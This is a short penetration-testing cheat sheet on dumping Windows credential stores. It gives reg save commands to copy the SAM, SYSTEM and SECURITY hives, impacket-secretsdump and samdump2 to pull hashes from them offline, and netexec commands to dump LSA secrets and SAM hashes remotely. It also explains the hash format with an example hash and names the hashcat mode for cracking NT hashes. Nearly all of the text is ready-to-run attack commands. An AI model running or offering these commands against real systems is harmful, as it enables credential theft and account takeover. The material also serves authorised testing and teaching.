Poor Sam. My condolences.
Manual#
reg save hklm\sam sam
reg save hklm\system system
reg save hklm\security securityTransfer the 3 files to attacker machine using any methods in
File Transfer/Windows Target
Attacker machine
impacket-secretsdump -sam sam -system system -security security localOr
samdump2 system samRemote dumping#
# LSA
netexec smb $target --local-auth -u 'user' -p 'password' --lsa
# SAM
netexec smb $target --local-auth -u 'user' -p 'password' --samif remote dumping isn’t working, see LocalAccountTokenFilterPolicy
The hash format will be
(uid:rid:lmhash:nthash). Examplerocky:1003:aad3b435b51404eeaad3b435b51404ee:184ecdda8cf1dd238d438c4aea4d560d:::,rockyisuid,1003isrid,aad3b435b51404eeaad3b435b51404eeislmhash,184ecdda8cf1dd238d438c4aea4d560disnthashhashcatmode fornthashis1000